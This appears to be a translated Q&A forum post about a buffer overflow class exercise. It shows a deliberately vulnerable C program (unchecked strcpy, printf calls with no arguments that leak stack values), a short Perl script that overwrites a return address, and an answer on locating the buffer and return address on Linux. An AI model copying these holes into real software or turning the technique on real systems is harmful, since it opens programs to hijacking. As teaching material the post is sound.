c - 缓冲区溢出实验

Question

我最近参加了一个安全类(class)，其中我们简要介绍了缓冲区溢出。我对我们所涵盖的内容不满意，所以我找了几个例子来跟进并亲自尝试并找到了 Buffer Overflow Attack

我喜欢这个例子，因为它很容易理解并理解为什么一切正常。我试着跟随，但在 Debian 虚拟机而不是 Windows 中。

这是来自站点的 C 代码:

#pragma check_stack(off)

#include <string.h>
#include <stdio.h> 

void foo(const char* input)
{
    char buf[10];

    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");

    strcpy(buf, input);
    printf("%s\n", buf);

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("Augh! I've been hacked!\n");
}

int main(int argc, char* argv[])
{
    //Blatant cheating to make life easier on myself
    printf("Address of foo = %p\n", foo);
    printf("Address of bar = %p\n", bar);

    if (argc != 2) 
    {
        printf("Please supply a string as an argument!\n");
        return -1;
    } 

    foo(argv[1]);
    return 0;
}

代码通过给出两个函数 foo 和 bar 的地址来“作弊”。最终目标是让 bar 仅使用缓冲区溢出来运行。为此，他们提供了一个简短的 Perl 脚本:

$arg = "ABCDEFGHIJKLMNOP"."\x50\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);

因为我使用的是 Linux 而不是 Windows，而且我的 bar 函数的地址略有不同，所以我做了几个简单的修复:

$arg = "ABCDEFGHIJKLMNOP"."\xf7\x05\x40";
$cmd = "./prog ".$arg;
system($cmd);

我认为它应该像在他们的示例中那样工作；运行 Perl 脚本并将填充文本提供给程序，然后是新的返回地址以运行 bar。但这对我不起作用。

这是运行我的 Perl 脚本的输出:

Address of foo: 0x400596
Address of bar: 0x4005f7
The current stack:
0x7fffe6b4abd8
0x7faba670c7a0
0x1d
0x6
0x7faba63b099a
0x7fffe6b4ad00

ABCDEFGHIJKLMNOPP�
Stack after input:
0x7ffc31998568
0x7f9a7c6ed7a0
0x7f9a7c421e50
0xf70550504f4e4d4c
0x7f9a7c39199a
0x7ffc31998690

在我的输出中，似乎包含任何填充文本的唯一地址是从最后一个地址算起的第三个地址，即返回地址之前的地址。

我怀疑问题出在使用 gcc 编译我的程序，但我不确定到底是什么导致了它。问题也可能是 Debian。以下是我编译程序的方式:

gcc -z execstack -fno-stack-protector prog.c -o prog

我希望在没有堆栈保护器的情况下进行编译能让我毫无问题地按照示例进行操作。

任何帮助都会很棒，我完全被困住了。实际上，我可以简单地切换到 Windows，但此时我真的很想知道为什么它不起作用以及如何修复它。

Answer 1

好吧，我要在这里回答我自己的问题，以防万一以后看到它的人感到好奇。

本质上，问题源于没有打印足够的内存地址来清楚地了解堆栈。如果您按照问题中的链接进行操作，您会发现打印堆栈的 6 个内存地址对于他们的系统来说已经足够了，但对于我们的系统来说还不够。我的 friend 建议从这里更改源代码:

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");

strcpy(buf, input);
printf("%s\n", buf);

printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

为此:

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

strcpy(buf, input);

printf("Buffer: %s\n", buf);
printf("Address of Buffer: %p\n\n", buf);
printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

此更改为我们做了两件事。首先，它将打印的地址数量增加到 13。其次，它打印缓冲区开始的地址。第二部分很重要，因为它为我们提供了在给定的堆栈地址中查找的相对值。示例:

overflow@OVERFLOW:~/Overflow$ ./prog ZZZZZZ
Address of foo = 0x400596
Address of bar = 0x400601
Current Stack:
0x7fffffe6
0x7f30b7f8a7a0
0x19
0x6
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x7f30b7f9cde0
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000

Buffer: ZZZZZZ
Address of Buffer: 0x7ffddab71220

Stack after Input:
0x7fffffde
0x7f30b7f8a7a0
0x21
0xc
0x7f30b7c2e99a
0x4007c8
0x7ffddab72653
0x5a5a5a5a5a5a
0x7f30b81b01a8
0x7ffddab71250
0x400672
0x7ffddab71338
0x200000000

在这个例子中我们可以看到缓冲区地址:0x7ffddab71220。如果我们查看它下面的堆栈地址，我们会发现一个非常相似的地址:0x7ffddab72653。我们可以认为这是缓冲区的起点，这样后面的几个地址就会成为缓冲区的存储容器。事实上，在这个例子中，我将“ZZZZZZ”打印到缓冲区，您可以看到紧随我们起点的地址已更改为 0x5a5a5a5a5a5a，您可能已经猜到了，它是十六进制的“ZZZZZZ” .

太好了，所以现在我们知道缓冲区实际从哪里开始，但我们不知道哪个是返回地址。如果我们查看函数的地址:

foo 的地址 = 0x400596 和 bar 的地址 = 0x400601我们可以在缓冲区起点下方的某处找到类似的值，在本例中为:0x400672。

此时我们知道了所有需要知道的事情:哪些内存地址存储缓冲区，我们要调用的函数的地址，最重要的是我们要覆盖的返回地址。到那时，只需尝试使用 perl 脚本，将字符添加到缓冲区，直到我们获得所需的结果。